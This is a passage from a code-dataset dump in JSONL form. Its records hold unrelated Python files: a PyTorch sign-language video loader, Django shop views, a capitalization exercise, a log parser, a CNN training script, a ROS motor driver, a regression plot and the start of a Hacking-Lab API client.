sample_j['frame_indices'] = list(\n range(j, min(n_frames + 1, j + sample_duration)))\n dataset.append(sample_j)\n\n return dataset, idx_to_class\n\n\nclass Universal(data.Dataset):\n \"\"\"\n Args:\n root (string): Root directory path.\n spatial_transform (callable, optional): A function/transform that takes in an PIL image\n and returns a transformed version. E.g, ``transforms.RandomCrop``\n temporal_transform (callable, optional): A function/transform that takes in a list of frame indices\n and returns a transformed version\n target_transform (callable, optional): A function/transform that takes in the\n target and transforms it.\n loader (callable, optional): A function to load an video given its path and frame indices.\n Attributes:\n classes (list): List of the class names.\n class_to_idx (dict): Dict with items (class_name, class_index).\n imgs (list): List of (image path, class_index) tuples\n \"\"\"\n\n def __init__(self,\n root_path,\n annotation_path,\n subset,\n n_samples_for_each_video=1,\n spatial_transform=None,\n temporal_transform=None,\n target_transform=None,\n sample_duration=16,\n modality='rgb',\n get_loader=get_default_video_loader):\n\n if subset == 'training':\n self.data, self.class_names = make_dataset(\n root_path, annotation_path, subset, n_samples_for_each_video,\n sample_duration)\n # self.val_data, _ = make_dataset(\n # root_path, annotation_path, 'validation', n_samples_for_each_video,\n # sample_duration)\n # self.data += self.val_data\n else:\n self.data, self.class_names = make_dataset(\n root_path, annotation_path, 'testing', n_samples_for_each_video,\n sample_duration)\n\n print('loaded', len(self.data))\n\n self.spatial_transform = spatial_transform\n self.temporal_transform = temporal_transform\n self.target_transform = target_transform\n\n self.subset = subset\n self.modality = modality\n if self.modality == 'flow':\n self.loader = get_default_video_loader_flow()\n elif self.modality == 'depth':\n self.loader = get_default_video_loader_depth()\n else:\n self.loader = get_loader()\n\n sometimes = lambda aug: iaa.Sometimes(0.3, aug)\n self.aug_seq = iaa.Sequential([\n # iaa.Fliplr(0.5),\n # sometimes(iaa.MotionBlur(k=2)),\n # sometimes(iaa.ChangeColorTemperature((1100, 10000))),\n sometimes(iaa.MultiplyAndAddToBrightness(mul=(0.8, 1.2), add=(-30, 30))),\n # sometimes(iaa.Affine(scale={'x': (0.8, 1.2), 'y': (0.8, 1.2)},\n # translate_percent={\"x\": (-0.2, 0.2), \"y\": (-0.2, 0.2)},\n # rotate=(-20, 20),\n # shear=(-10, 10),\n # cval=(0, 255),\n # mode=ia.ALL, )),\n # sometimes(iaa.PerspectiveTransform(scale=(0.01, 0.15))),\n # sometimes(iaa.AdditiveGaussianNoise(scale=0.05 * 255)),\n ])\n self.aug_seq.to_deterministic()\n\n\n # added by alexhu\n self.root_path = root_path\n if self.modality != 'pose':\n self.to_tensor = Compose(self.spatial_transform.transforms[-2:])\n self.spatial_transform.transforms = self.spatial_transform.transforms[:-2]\n # add\n\n def random_move(self, data_numpy,\n angle_candidate=[-10., -5., 0., 5., 10.],\n scale_candidate=[0.9, 1.0, 1.1],\n transform_candidate=[-0.2, -0.1, 0.0, 0.1, 0.2],\n move_time_candidate=[1]):\n # input: C,T,V,M\n C, T, V, M = data_numpy.shape\n move_time = random.choice(move_time_candidate)\n node = np.arange(0, T, T * 1.0 / move_time).round().astype(int)\n node = np.append(node, T)\n num_node = len(node)\n\n A = np.random.choice(angle_candidate, num_node)\n S = np.random.choice(scale_candidate, num_node)\n T_x = np.random.choice(transform_candidate, num_node)\n T_y = np.random.choice(transform_candidate, num_node)\n\n a = np.zeros(T)\n s = np.zeros(T)\n t_x = np.zeros(T)\n t_y = np.zeros(T)\n\n # linspace\n for i in range(num_node - 1):\n a[node[i]:node[i + 1]] = np.linspace(\n A[i], A[i + 1], node[i + 1] - node[i]) * np.pi / 180\n s[node[i]:node[i + 1]] = np.linspace(S[i], S[i + 1],\n node[i + 1] - node[i])\n t_x[node[i]:node[i + 1]] = np.linspace(T_x[i], T_x[i + 1],\n node[i + 1] - node[i])\n t_y[node[i]:node[i + 1]] = np.linspace(T_y[i], T_y[i + 1],\n node[i + 1] - node[i])\n\n theta = np.array([[np.cos(a) * s, -np.sin(a) * s],\n [np.sin(a) * s, np.cos(a) * s]])\n\n # perform transformation\n for i_frame in range(T):\n xy = data_numpy[0:2, i_frame, :, :]\n new_xy = np.dot(theta[:, :, i_frame], xy.reshape(2, -1))\n new_xy[0] += t_x[i_frame]\n new_xy[1] += t_y[i_frame]\n data_numpy[0:2, i_frame, :, :] = new_xy.reshape(2, V, M)\n\n return data_numpy\n\n\n def pose2d_loader_mmpose(self, path, total_frame):\n def pickle_load(path):\n with open(path, 'rb') as f:\n pose_all = pickle.load(f)\n return pose_all\n\n split_root_path = self.root_path.split('/')[:-1]\n root_path_new = ''\n for path_tmp in split_root_path:\n root_path_new = root_path_new + path_tmp + '/'\n root_path = os.path.join(root_path_new, 'Keypoints_2d_mmpose')\n root_img_path = os.path.join(root_path_new, 'jpg_video')\n split_path = path.split('/')\n pose_path = os.path.join(root_path, split_path[-2], split_path[-1]+'.pkl')\n img_path = os.path.join(root_img_path, split_path[-2], split_path[-1], '000000.jpg')\n img_shape = Image.open(img_path).size\n\n if not os.path.exists(pose_path):\n print(pose_path)\n pose_all = pickle_load(pose_path)\n\n if pose_all['keypoints'].shape[0] != total_frame:\n print(path, total_frame, pose_all['keypoints'].shape)\n pose_ori = torch.from_numpy(pose_all['keypoints'])# T, J, 3\n pose_ori = torch.cat([pose_ori[:, 0:11], pose_ori[:, 40:]], 1)\n pose_2d = pose_ori / torch.tensor([img_shape[0], img_shape[1], 1.])\n\n return pose_2d\n\n\n\n def __getitem__(self, index):\n \"\"\"\n Args:\n index (int): Index\n Returns:\n tuple: (image, target) where target is class_index of the target class.\n \"\"\"\n if self.modality == 'rgb':\n path = self.data[index]['video']\n if self.modality == 'flow':\n path = path.replace('jpg_video', 'flow')\n path = path.replace('_color', '_flow')\n frame_indices = self.data[index]['frame_indices']\n if self.temporal_transform is not None:\n frame_indices = self.temporal_transform(frame_indices)\n clip = self.loader(path, frame_indices)\n if self.spatial_transform is not None:\n self.spatial_transform.randomize_parameters()\n clip = [self.spatial_transform(img) for img in clip]\n\n aug_seq_det = self.aug_seq.to_deterministic()\n if self.subset == 'training':\n clip = [np.asarray(img) for img in clip]\n clip = [aug_seq_det.augment_images([img])[0] for img in clip]\n # clip = self.aug_seq.augment_images(clip)\n clip = [Image.fromarray(img) for img in clip]\n\n clip = [self.to_tensor(img) for img in clip]\n clip = torch.stack(clip, 0).permute(1, 0, 2, 3)\n bbox = np.array([[0., 0., 0., 0., 0.]])\n elif self.modality == 'flow':\n path = self.data[index]['video']\n if self.modality == 'flow':\n path = path.replace('jpg_video', 'flow')\n path = path.replace('_color', '_flow')\n frame_indices = self.data[index]['frame_indices']\n if self.temporal_transform is not None:\n frame_indices = self.temporal_transform(frame_indices)\n clip = self.loader(path, frame_indices)\n if self.spatial_transform is not None:\n self.spatial_transform.randomize_parameters()\n clip = [self.spatial_transform(img) for img in clip]\n clip = [self.to_tensor(img) for img in clip]\n clip = torch.stack(clip, 0).permute(1, 0, 2, 3)\n bbox = np.array([[0., 0., 0., 0., 0.]])\n elif self.modality == 'depth':\n path = self.data[index]['video']\n if self.modality == 'depth':\n path = path.replace('_color', '_depth')\n frame_indices = self.data[index]['frame_indices']\n if self.temporal_transform is not None:\n frame_indices = self.temporal_transform(frame_indices)\n clip = self.loader(path, frame_indices)\n if self.spatial_transform is not None:\n self.spatial_transform.randomize_parameters()\n clip = [self.spatial_transform(img) for img in clip]\n clip = [self.to_tensor(img) for img in clip]\n clip = torch.stack(clip, 0).permute(1, 0, 2, 3)[:2]\n bbox = np.array([[0., 0., 0., 0., 0.]])\n elif self.modality in ['part', 'face', 'lhand', 'rhand']:\n path = self.data[index]['video']\n split_path = path.split('/')\n part_path = os.path.join('../data/AUTSL/jpg_left_hand/', split_path[-2], split_path[-1])\n frame_indices = [int(x.split('.')[0]) for x in sorted(os.listdir(part_path))]\n\n # frame_indices = self.data[index]['frame_indices']\n if self.temporal_transform is not None:\n frame_indices = self.temporal_transform(frame_indices)\n clip = self.loader(part_path, frame_indices)\n if self.spatial_transform is not None:\n self.spatial_transform.randomize_parameters()\n clip = [self.spatial_transform(img) for img in clip]\n\n aug_seq_det = self.aug_seq.to_deterministic()\n if self.subset == 'training':\n clip = [np.asarray(img) for img in clip]\n clip = [aug_seq_det.augment_images([img])[0] for img in clip]\n # clip = self.aug_seq.augment_images(clip)\n clip = [Image.fromarray(img) for img in clip]\n\n clip = [self.to_tensor(img) for img in clip]\n clip = torch.stack(clip, 0).permute(1, 0, 2, 3)\n bbox = np.array([[0., 0., 0., 0., 0.]])\n else:\n path = self.data[index]['video']\n n_frames = self.data[index]['n_frames']\n split_path = path.split('/')\n\n frame_indices = self.data[index]['frame_indices']\n if self.temporal_transform is not None:\n frame_indices = self.temporal_transform(frame_indices)\n\n # 2d pose\n pose_2d = self.pose2d_loader_mmpose(path, n_frames) # T, J, 3\n pose_indices = [i - 1 for i in frame_indices]\n pose = pose_2d[pose_indices]\n pose = pose.unsqueeze(3).permute(2, 0, 1, 3).numpy() # C,T,V,M\n if self.subset == 'training':\n pose = self.random_move(pose) # C,T,V,M\n clip = torch.Tensor(pose).squeeze(3).permute(1, 2, 0).float()\n clip = clip.permute(2, 0, 1).unsqueeze(3).float()\n bbox = np.array([[0., 0., 0., 0., 0.]])\n\n target = self.data[index]\n if self.target_transform is not None:\n target = self.target_transform(target)\n\n return clip, target, bbox\n\n def __len__(self):\n return len(self.data)\n","sub_path":"code/tmp/universal_lhand.py","file_name":"universal_lhand.py","file_ext":"py","file_size_in_byte":19043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"268485560","text":"from django.shortcuts import render, HttpResponse, redirect\nfrom .models import *\nfrom django.core.urlresolvers import reverse\n\ndef index(request):\n context = {\n 'products': Product.objects.all()\n }\n return render(request, 'store/index.html', context)\n\ndef buy(request):\n if 'quantity' not in request.session:\n request.session['quantity'] = int(request.POST['quantity'])\n else:\n request.session['quantity'] = request.session['quantity'] + int(request.POST['quantity'])\n if 'total'not in request.session:\n request.session['total'] = Product.objects.get(id= request.POST['product_id']).price * float(request.POST['quantity'])\n else:\n request.session['total'] = request.session['total'] + (Product.objects.get(id= request.POST['product_id']).price * float(request.POST['quantity']))\n request.session['charged'] = Product.objects.get(id= request.POST['product_id']).price\n print('I made it through buy-------------------------------------------------------------------')\n return render(request, 'store/checkout.html')\n\ndef checkout(request):\n return render(request,'store/checkout.html')\n","sub_path":"_retake/amadon/apps/store/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"166123447","text":"# asked in google\n\ndef allUpper(str):\n for char in str:\n ascii_code = ord(char)\n if ascii_code <=65 or ascii_code >=90:\n return False\n \n return True\n\ndef allLower(str):\n for char in str:\n ascii_code = ord(char)\n print('ascii', ascii_code)\n if ascii_code <=97 or ascii_code >=122:\n return False\n \n return True\n\nstr = \"AaCDEFFF\"\nif len(str) == 1:\n return True\nfirstCapital = str[0].isupper()\nsecondCapital = str[1].isupper()\nprint('First capital', firstCapital, ord(str[0]), ord(str[0]))\nprint('First capital', secondCapital)\nif firstCapital and secondCapital:\n # all others should be upper\n print(allUpper(str[1:]))\nelif firstCapital:\n print(allLower(str[1:]))\nelse:\n print(allLower(str[1:]))\n ","sub_path":"Algo&DS/Strings/correct_capitalization.py","file_name":"correct_capitalization.py","file_ext":"py","file_size_in_byte":786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"477092281","text":"import re,csv,sys\r\n\r\nprint(sys.argv)\r\nfilename = sys.argv[1]\r\noutfilename = sys.argv[2]\r\n\r\noutfile = csv.writer(open(outfilename,'w'),lineterminator='\\n')\r\noutfile.writerow(['num','steps','steps_t','t','r','e','Q','won'])\r\n\r\n\r\nwith open(filename,'r') as f:\r\n for line in f.readlines():\r\n print(line.rstrip('\\n'))\r\n vals = re.findall('#\\s+(\\d+)\\s\\|\\ssteps:\\s+(\\d+)\\s\\|\\ssteps_t:\\s+(\\d+)\\s\\|\\st:\\s+(\\d+\\.\\d+)\\s\\|\\sr:\\s+(-?\\d+\\.\\d+)\\s\\|\\se:\\s+(-?\\d+\\.\\d+)\\s\\|\\sQ:\\s+(\\S+)\\s\\|\\swon:\\s(\\w+)',line)\r\n if vals == []:\r\n print(\"NO MATCH ON LINE: \" + line)\r\n else:\r\n print(vals[0])\r\n outfile.writerow(vals[0])\r\n ","sub_path":"Feature Agent/logs/logparser.py","file_name":"logparser.py","file_ext":"py","file_size_in_byte":677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"137031441","text":"from core.advbase import *\n\ndef module():\n return Dragonyule_Cleo\n\nclass Dragonyule_Cleo(Adv):\n a1 = ('a',0.13,'hp70')\n a3 = ('ecombo',30)\n \n conf = {}\n conf['acl'] = \"\"\"\n `s1\n `s2, seq=5 and cancel or fsc\n `s3, fsc\n `fs, seq=5\n \"\"\"\n coab = ['Hunter_Sarisse', 'Xander', 'Summer_Estelle']\n\n def prerun(self):\n self.buff_class = Teambuff if self.condition('buff all team') else Selfbuff\n self.stance = 0\n\n def s1_proc(self, e): # buggy lvl3 s1\n self.energy.add(1, team=self.condition('buff all team'))\n if self.stance == 0:\n self.stance = 1\n elif self.stance == 1:\n self.stance = 2\n self.buff_class('s1s',0.1,10).on()\n elif self.stance == 2:\n self.stance = 0\n self.buff_class('s1s',0.1,10).on()\n self.buff_class('s1c',0.08,10,'crit','chance').on()\n\n\nif __name__ == '__main__':\n from core.simulate import test_with_argv\n test_with_argv(None, *sys.argv)","sub_path":"adv/d_cleo.py","file_name":"d_cleo.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"131616072","text":"import tensorflow as tf\nfrom tensorflow.python.framework import ops\nimport CNNUtils as CU\n\n\ndef create_placeholders(n_H0, n_W0, n_C0, n_y):\n \"\"\"\n 创建占位符\n :param n_H0:\n :param n_W0:\n :param n_C0:\n :param n_y:\n :return:\n \"\"\"\n X0 = tf.placeholder('float', shape=[None, n_H0, n_W0, 1])\n X1 = tf.placeholder('float', shape=[None, n_H0, n_W0, 1])\n X2 = tf.placeholder('float', shape=[None, n_H0, n_W0, 1])\n Y = tf.placeholder('float', shape=[None, n_y])\n return X0, X1, X2, Y\n\n\ndef initialize_parameters(randomSeed=1):\n \"\"\"\n 初始化参数\n :param randomSeed: 随机seed种子\n :return:\n \"\"\"\n print(\"初始化参数的seed为\"+str(randomSeed))\n with tf.variable_scope('', reuse=tf.AUTO_REUSE) as te:\n W1 = tf.get_variable(\"W1\", [5, 5, 1, 6], initializer=tf.contrib.layers.xavier_initializer(seed=randomSeed))\n W2 = tf.get_variable(\"W2\", [5, 5, 6, 8], initializer=tf.contrib.layers.xavier_initializer(seed=randomSeed))\n W3 = tf.get_variable(\"W3\", [5, 5, 8, 16], initializer=tf.contrib.layers.xavier_initializer(seed=randomSeed))\n # W4 = tf.get_variable(\"W4\", [2, 2, 16, 32], initializer=tf.contrib.layers.xavier_initializer(seed=0))\n parameters = {\"W1\": W1,\n \"W2\": W2,\n \"W3\": W3,\n # \"W4\": W4\n }\n return parameters\n\n\ndef forward_propagation(X, parameters, num, isTrain=True, flag=0, randomSeed=1):\n \"\"\"\n 模型前向传播方法\n :param X: 数据集\n :param parameters: 训练参数\n :param num: 数据集的模型总数量\n :param isTrain: 是否为训练数据\n :param flag: 全连接层参数的标志\n :param randomSeed: 随机seed种子\n :return:\n \"\"\"\n print(\"全连接层的seed为\"+str(randomSeed))\n W1 = parameters['W1']\n W2 = parameters['W2']\n W3 = parameters['W3']\n\n # Conv+Relu+Pool\n Z1 = tf.nn.conv2d(X, W1, strides=[1, 1, 1, 1], padding='VALID')\n A1 = tf.nn.relu(Z1)\n P1 = tf.nn.max_pool(A1, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='VALID')\n\n # Conv+Relu+Pool\n Z2 = tf.nn.conv2d(P1, W2, strides=[1, 1, 1, 1], padding='VALID')\n A2 = tf.nn.relu(Z2)\n P2 = tf.nn.max_pool(A2, ksize=[1, 2, 2, 1], strides=[1, 2, 2, 1], padding='VALID')\n\n # Conv+Relu+Pool\n Z3 = tf.nn.conv2d(P2, W3, strides=[1, 1, 1, 1], padding='VALID')\n A3 = tf.nn.relu(Z3)\n P3 = tf.nn.max_pool(A3, ksize=[1, 3, 3, 1], strides=[1, 3, 3, 1], padding='VALID')\n\n pool_shape = P3.get_shape().as_list() # 展开\n nodes = pool_shape[1] * pool_shape[2] * pool_shape[3]\n reshaped = tf.reshape(P3, [num, nodes])\n # if isTrain: # 防止过拟合\n # reshaped = tf.nn.dropout(reshaped, 0.60)\n w1= \"weight1_\"+str(flag)\n b1 = \"bias1_\"+str(flag)\n w2= \"weight2_\"+str(flag)\n b2 = \"bias2_\"+str(flag)\n with tf.variable_scope('', reuse=tf.AUTO_REUSE) as fc_1:\n fc1_weights = tf.get_variable(w1, [nodes, 64], initializer=tf.truncated_normal_initializer(stddev=0.1, seed=randomSeed))\n fc1_biases = tf.get_variable(b1, [64], initializer=tf.constant_initializer(0.1))\n fc1 = tf.nn.relu(tf.matmul(reshaped, fc1_weights)+fc1_biases)\n # if isTrain: # 防止过拟合\n # fc1 = tf.nn.dropout(fc1, 0.7)\n with tf.variable_scope('', reuse=tf.AUTO_REUSE) as fc_2:\n fc2_weights = tf.get_variable(w2, [64, 10], initializer=tf.truncated_normal_initializer(stddev=0.1, seed=randomSeed))\n fc2_biases = tf.get_variable(b2, [10], initializer=tf.constant_initializer(0.1))\n logit = (tf.matmul(fc1, fc2_weights)+fc2_biases)\n return logit, fc1_weights, fc2_weights\n\n\ndef compute_cost(Z3, Y):\n \"\"\"\n 计算损失函数\n :param Z3:\n :param Y:\n :return:\n \"\"\"\n cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits_v2(logits=Z3, labels=Y))\n return cost\n\n\ndef model(X_train, Y_train, X_test, Y_test, learning_rate=0.05, l2_rate=0.03,\n num_epochs=500, print_cost=True, save_session=False):\n \"\"\"\n 模型训练的主方法\n :param X_train: 训练模型特征集\n :param Y_train: 训练模型标签集\n :param X_test: 测试模型特征集\n :param Y_test: 测试模型标签集\n :param learning_rate: 学习速率\n :param l2_rate: L2正则化速率\n :param num_epochs: 迭代次数\n :param print_cost: 是否打印cost函数\n :param save_session: 是否保存session(session保存参数,可用于预测!)\n :return:\n \"\"\"\n print(\"l2_rate=\" + str(l2_rate) + \" and learning_rate=\" + str(learning_rate))\n # Step1 : 数据归一化\n X_train = X_train/64\n X_test = X_test/64\n\n # Step2 : 初始化各类参数,为训练做准备\n # ops.reset_default_graph() # to be able to rerun the model without overwriting tf variables\n (n_N0, n_H0, n_W0, n_C0) = X_train.shape\n (n_N1, n_H1, n_W1, n_C1) = X_test.shape\n weight1, weight2, weight3 = 0.5, 0.5, 0.5\n print(\"采用权值为\", str(weight1), str(weight2), str(weight3))\n costs = []\n isTrain = tf.placeholder(tf.bool)\n num = tf.placeholder(tf.int32)\n X0, X1, X2, Y = create_placeholders(n_H0, n_W0, n_C0, n_H0)\n seed = 5\n parameters = initialize_parameters(randomSeed=seed)\n Z0, fc1w0, fc2w0 = forward_propagation(X0, parameters, num, flag=0, randomSeed=seed)\n Z1, fc1w1, fc2w1 = forward_propagation(X1, parameters, num, flag=1, randomSeed=seed)\n Z2, fc1w2, fc2w2 = forward_propagation(X2, parameters, num, flag=2, randomSeed=seed)\n cost0 = compute_cost(Z0, Y)\n cost1 = compute_cost(Z1, Y)\n cost2 = compute_cost(Z2, Y)\n # 采用L2正则化,避免过拟合\n regularizer = tf.contrib.layers.l2_regularizer(l2_rate)\n regularization0 = regularizer(fc1w0)+regularizer(fc2w0)\n cost0 = cost0 + regularization0\n regularization1 = regularizer(fc1w1)+regularizer(fc2w1)\n cost1 = cost1 + regularization1\n regularization2 = regularizer(fc1w2)+regularizer(fc2w2)\n cost2 = cost2 + regularization2\n\n global_step = tf.Variable(0, dtype=tf.int64, trainable=False)\n learning_rate = tf.train.exponential_decay(learning_rate, global_step, 100, 0.96, staircase=True)\n optimizer0 = tf.train.GradientDescentOptimizer(learning_rate).minimize(cost0, global_step)\n optimizer1 = tf.train.GradientDescentOptimizer(learning_rate).minimize(cost1, global_step)\n optimizer2 = tf.train.GradientDescentOptimizer(learning_rate).minimize(cost2, global_step)\n init = tf.global_variables_initializer()\n saver = tf.train.Saver()\n\n # Step3: 开始训练\n with tf.Session() as sess:\n sess.run(init)\n # save_path = saver.restore(sess, 'another/t_82/model_forloop170.ckpt')\n for epoch in range(num_epochs):\n x0 = X_train[:,:,:,0].reshape(n_N0, n_H0, n_W0, 1)\n x1 = X_train[:,:,:,1].reshape(n_N0, n_H0, n_W0, 1)\n x2 = X_train[:,:,:,2].reshape(n_N0, n_H0, n_W0, 1)\n X0T = X_test[:,:,:,0].reshape(n_N1, n_H1, n_W1, 1)\n X1T = X_test[:,:,:,1].reshape(n_N1, n_H1, n_W1, 1)\n X2T = X_test[:,:,:,2].reshape(n_N1, n_H1, n_W1, 1)\n _, cost0 = sess.run([optimizer0, cost0], feed_dict={X0: x0, Y: Y_train, num: n_N0})\n _, cost1 = sess.run([optimizer1, cost1], feed_dict={X1: x1, Y: Y_train, num: n_N0})\n _, cost2 = sess.run([optimizer2, cost2], feed_dict={X2: x2, Y: Y_train, num: n_N0})\n\n if print_cost is True and epoch % 1 == 0:\n print(\"损失函数经过%i次遍历后: %f, %f, %f\" % (epoch, cost0, cost1, cost2))\n Z = Z0*weight1+Z1*weight2+Z2*weight3\n predict_op = tf.argmax(Z, 1) # 返回每行最大值的索引\n correct_prediction = tf.equal(predict_op, tf.argmax(Y, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, \"float\"))\n train_accuracy = accuracy.eval({X0: x0, X1: x1, X2: x2, Y: Y_train, num: n_N0})\n test_accuracy = accuracy.eval({X0: X0T, X1: X1T, X2: X2T, Y: Y_test, num: n_N1, isTrain: False})\n print(\"训练集识别率:\", train_accuracy)\n print(\"测试集识别率:\", test_accuracy)\n # Step4 : 如果条件成立,保存session\n if save_session is True and train_accuracy > 0.97 and test_accuracy > 0.923:\n save_files = './session/model_forloop'+str(epoch)+'.ckpt'\n saver.save(sess, save_files)\n print(\"模型\"+save_files+\"保存成功.\")\n save_session = False\n # Step5 : 在此区间,通过改变权值,来得到最优准确率(可以注释掉)\n if epoch > 1000 and epoch < 1200:\n print(\"-----------------------------------------------------\")\n for i in range(1, 11):\n for j in range(11 - i):\n w1 = i / 10\n w2 = j / 10\n w3 = 1 - (w1 + w2)\n # w1, w2, w3 = 0.6, 0.5, 0.2\n print(\"w分别为:\", str(w1), str(w2), str(w3))\n Z = Z0 * w1 + Z1 * w2 + Z2 * w3\n predict_op = tf.argmax(Z, 1) # 返回每行最大值的索引\n correct_prediction = tf.equal(predict_op, tf.argmax(Y, 1))\n accuracy = tf.reduce_mean(tf.cast(correct_prediction, \"float\"))\n train_accuracy = accuracy.eval({X0: x0, X1: x1, X2: x2, Y: Y_train, num: n_N0})\n test_accuracy = accuracy.eval({X0: X0T, X1: X1T, X2: X2T, Y: Y_test, num: n_N1, isTrain: False})\n print(\"训练集识别率:\", train_accuracy,\"测试集识别率:\", test_accuracy)\n print(\"-----------------------------------------------------\")\n if print_cost is True and epoch % 1 == 0:\n costs.append(cost0+cost1+cost2)\n return parameters\n\n\ndef cnnTrain():\n print(\"采用L2正则化的加权深层图像特征\")\n trainFile = './logs/3dModelTrainDBeta_1.h5'\n testFile = './logs/3dModelTestDBeta_1.h5'\n # trainFile = 'drive/test/logs/3dModelTrainDBeta_8_2.h5'\n # testFile = 'drive/test/logs/3dModelTestDBeta_8_2.h5'\n XTrain, YTrain, XTest, YTest = CU.loadDataSets(trainFile, testFile)\n print(\"模型个数分别为:\", XTrain.shape[0], XTest.shape[0])\n model(XTrain, YTrain, XTest, YTest, num_epochs=2000, save_session=True) # 训练模型主方法\n\n\nif __name__ == '__main__':\n cnnTrain()\n","sub_path":"CNNVoxPicTrain.py","file_name":"CNNVoxPicTrain.py","file_ext":"py","file_size_in_byte":10591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"56164437","text":"def main(j, args, params, tags, tasklet):\n\n page = args.page\n pars = args.expandParamsAsDict()\n hostname = pars.get('hostname', '')\n contentpage = pars.get('contentpage', '')\n divid = pars.get('divid', '')\n j.tools.docgenerator.getConfluence2htmlConvertor()\n\n scriptcontent = \"\"\"\n (typeof(tocheck) == \"undefined\")? tocheck = [] : tocheck=tocheck;\n tocheck.push({\"hostname\":\"%s\", \"divid\":\"%s\"});\"\"\" % (hostname, divid)\n\n page.addJS(jsContent=scriptcontent)\n space = j.core.portal.active.spacesloader.spaces[args.doc.getSpaceName()]\n if space.docprocessor.docExists(contentpage):\n doc = space.docprocessor.docGet(contentpage)\n htmlcontent = doc.getHtmlBody()\n else:\n htmlcontent = \"\"\n pagecontent = \"\"\"
%s
\"\"\" % (divid, htmlcontent)\n page.addMessage(pagecontent)\n page.addHostBasedContent()\n params.result = page\n return params\n\n\ndef match(j, args, params, tags, tasklet):\n return True\n","sub_path":"apps/portalbase/macros/page/hostbasedcontent/1_main.py","file_name":"1_main.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"446358297","text":"from BAL.Header.Requests.closeMotorRequest import CloseMotorRequest\n\n__author__ = 'tom1231'\nfrom rospy import Publisher, Subscriber\nfrom std_msgs.msg import Float32\nfrom ric_board.msg import Motor\nfrom BAL.Interfaces.Device import Device\n\nclass RiCCloseLoopMotor(Device):\n\n def __init__(self, motorNum ,param,output):\n Device.__init__(self, param.getCloseLoopMotorName(motorNum), output)\n self._motorId = motorNum\n self._pub = Publisher('%s/feedback' % self._name, Motor, queue_size=param.getCloseLoopMotorPubHz(motorNum))\n Subscriber('%s/command' % self._name, Float32, self.MotorCallback)\n\n def publish(self, data):\n msg = Motor()\n msg.position = data[0]\n msg.velocity = data[1]\n self._pub.publish(msg)\n\n def MotorCallback(self, msg):\n req = CloseMotorRequest(self._motorId, msg.data)\n self._output.write(req.dataTosend())\n","sub_path":"ric/ric_board/scripts/RiCTraffic/BAL/Devices/RiCCloseLoopMotor.py","file_name":"RiCCloseLoopMotor.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"231919067","text":"import matplotlib.pyplot as plt\r\n\r\nfrom polyFit import *\r\n\r\n# input data\r\nxData = array([60.0, 120.0, 180.0, 240.0, 300.0, 360.0, 420.0, 480.0, 540.0, 600.0])\r\nyData = array([2.6, 3.1, 4.6, 6.5, 8.5, 11.0, 15.2, 34.7, 65.8, 69.4])\r\nwhile True:\r\n try:\r\n m = eval(input(\"\\nPolinomial Orde ==> \"))\r\n coeff = polyFit(xData, yData, m)\r\n print(\"Koefisien :\\n\", coeff)\r\n print(\"Std. deviasi = \", stdDev(coeff, xData, yData))\r\n m = len(coeff)\r\n x1 = min(xData)\r\n x2 = max(xData)\r\n dx = (x2 - x1) / 20.0\r\n x = arange(x1, x2 + dx / 10.0, dx)\r\n y = zeros((len(x))) * 1.0\r\n for i in range(m):\r\n y = y + coeff[i] * x ** i\r\n plt.plot(xData, yData, 'o-', x, y, '-')\r\n plt.title('Grafik Waktu vs Perubahan Suhu')\r\n plt.xlabel('Waktu (s)')\r\n plt.ylabel('Suhu (Celcius)')\r\n plt.legend(('Data', 'Regresi Polinom'), loc=0)\r\n plt.grid(True)\r\n plt.show()\r\n except SyntaxError:\r\n break\r\ninput(\"Finished. Press return to exit\")\r\n","sub_path":"Metode Regresi Polinom/Tugas 3.py","file_name":"Tugas 3.py","file_ext":"py","file_size_in_byte":1055,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"265796726","text":"import json\n\nimport requests\nimport os\nimport re\nimport jwt\nfrom jinja2 import Template\nimport datetime\nimport getpass\nimport urllib.parse\nimport sys\nfrom tqdm.auto import tqdm\n\n\nclass HL:\n def __init__(self):\n self.token = ''\n self.csrf = '3nbeS3PJQjCBdpFG3nbeS3PJQjCBdpFG'\n self.baseUrl = 'https://ost.hacking-lab.com/api'\n self.given_name = ''\n self.family_name = ''\n self.preferred_username = ''\n self.author = ''\n self.cred = {}\n self.token_time = datetime.datetime.now()\n\n def connect(self, cred):\n self.cred = cred\n headers = {\n 'Content-Type': 'application/x-www-form-urlencoded'\n }\n data = {\n 'scope': 'openid',\n 'client_id': 'ccs',\n 'grant_type': 'password',\n 'username': cred['username'],\n 'password': cred['password']\n }\n response = requests.post('https://auth.ost-dc.hacking-lab.com/auth/realms/ost/protocol/openid-connect/token',\n data=data,\n headers=headers).json()\n self.token = response['access_token']\n self.token_time = datetime.datetime.now() + datetime.timedelta(0, )\n payload = jwt.decode(self.token, options={\"verify_signature\": False})\n self.given_name = payload['given_name']\n self.family_name = payload['family_name']\n self.preferred_username = payload['preferred_username']\n self.author = self.given_name + ' ' + self.family_name + ' (' + self.preferred_username + ')'\n\n def check_token(self):\n try:\n jwt.decode(self.token, options={\"verify_signature\": False, \"verify_exp\": True})\n except jwt.ExpiredSignatureError:\n # Signature has expired\n self.connect(self.cred)\n\n def get(self, url):\n self.check_token()\n call_url = urllib.parse.urljoin(self.baseUrl, url)\n cookies = {'Authentication': self.token, 'CSRF-TOKEN': self.csrf}\n headers = {'x-csrf-token': self.csrf}\n response = requests.get(call_url, cookies=cookies)\n response.raise_for_status()\n return response\n\n def put(self, 